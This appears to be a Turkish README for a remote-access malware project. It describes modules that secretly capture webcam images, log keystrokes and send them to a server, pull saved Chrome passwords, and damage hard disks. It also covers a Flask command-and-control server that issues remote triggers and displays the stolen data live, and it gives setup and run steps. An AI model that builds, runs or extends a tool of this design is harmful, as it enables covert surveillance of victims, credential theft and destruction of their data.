Projenin çalışması için gerekli olan ve oluşturulması gereken dosyalar var
-
captures/ : captures klasörü cam.py modülünden yakalanan görüntülerin kaydedildiği klasördür. Projeyi çalıştırmadan önce içeriği boş bir şekilde oluşturulması yeterli olacaktır
-
cam.py : Bu modülde kamera görüntüsünü yakalayıp, görüntüyü işleyen fonksiyonlar bulunmaktadır
-
get_chrome_passwords.py : Bu modülde Chrome tarayıcısında kayıtlı olan şifreleri çeken fonksiyonlar bulunmaktadır
-
hdd_killer_v1.py : Bu modülde sabit diske zarar vermeye yönelik fonksiyonlar bulunmaktadır
-
hdd_killer_v2.py : Bu modülde sabit diske zarar vermeye yönelik fonksiyonlar bulunmaktadır
-
keylogger.py : Bu modülde klavyeden girilen verileri yakalayıp kaydeden ve bunları server'a gönderen fonksiyonlar bulunmaktadır
-
logs.txt : Bu dosyada keylogger.py modülünden kaydedilen veriler bulunmaktadır
-
my_requests.py : Bu modülde server'a veri gönderen fonksiyonlar bulunmaktadır
-
trigger_functions.py : Bu modül triggerları server'dan çekerek trigger.py modülünde kullanılır
-
trigger.py : Bu modül projenin ana çalışma modülüdür. Serverdan gelen komutları dinleyip, gerekli fonksiyonları çalıştıran fonksiyonlar bulunmaktadır
-
triggers.json : Bu dosyada trigger.py modülünden gelen triggerlar bulunmaktadır
Server'dan bağımsız çalıştırmak için aşağıdaki adımlar izlenmelidir.
python trigger.py
komutu requirements.txt ' deki paketler kurulduktan sonra çalıştırılmalıdır
triggers.json
dosyasındaki ilgili modüllerin active: true
olarak ayarlanması gerekmektedir
Varsayılan olarak 10 saniyede bir triggers.json dosyasındaki değişiklikler tespit edilerek çalıştırılması emredilen modüllerin çalıştırılması ve halihazırda çalışan fakat durdurulması istenilen modüllerin durdurulması sağlanır
Server'dan bağımsız çalıştırmak için aşağıdaki adımlar izlenmelidir.
python trigger.py
komutu requirements.txt ' deki paketler kurulduktan sonra çalıştırılmalıdır
Varsayılan olarak 10 saniyede bir triggers.json dosyasındaki değişiklikler server'a atılan request sonucunda tespit edilerek çalıştırılması emredilen modüllerin çalıştırılması ve halihazırda çalışan fakat durdurulması istenilen modüllerin durdurulması sağlanır.
-
chromedata
: Chrome'dan çekilen şifrelerin kaydedildiği klasör. Proje çalıştırılmadan önce boş bir klasör olarak oluşturulması yeterlidir. -
images
: Cam.py modülünden yakalanan görüntülerin kaydedildiği klasör. Proje çalıştırılmadan önce boş bir klasör olarak oluşturulması yeterlidir. -
logs
: Keylogger.py modülünden kaydedilen verilerin kaydedildiği klasör. Proje çalıştırılmadan önce boş bir klasör olarak oluşturulması yeterlidir.
pip install flask
komutuyla birlikte flask
paketinin kurulması gerekmektedir
python app.py
komutuyla server çalıştırılabilir
Varsayılan ip adresi olarak localhost:3126
kullanılmıştır
localhost:3126
adresine gidilerek server'ın çalıştığı bilgisayardaki verilerin anlık olarak takip edilebilmesi sağlanabilir.
-
localhost:3126/
: Ana sayfamız. Bu kadar çok da birşey yok. Logo falan koyarız max :D -
localhost:3126/show
: cam.py modülünden yakalanan görüntüleri canlı olarak gösterir. AmaF5
spamlamak lazım sürekli yenileme eklemedik. -
localhost:3126/showtxt
: keylogger.py modülünden kaydedilen verileri canlı olarak gösterir. AmaF5
spamlamak lazım sürekli yenileme eklemedik. -
localhost:3126/showchromedata
: chrome.py modülünden kaydedilen verileri canlı olarak gösterir. AmaF5
spamlamak lazım sürekli yenileme eklemedik. -
localhost:3126/gettriggers
: triggers.json dosyasını requesti atan cihazla paylaşır. Yani uzaktan emirleri vermemizi sağlayan babayiğit. -
localhost:3126/upload<ozellik_adi>
: Tek tek yazmaya gerek yok.ozellik_adi
yerine ne yazılırsa onun ile alakalı requestleri alıyor.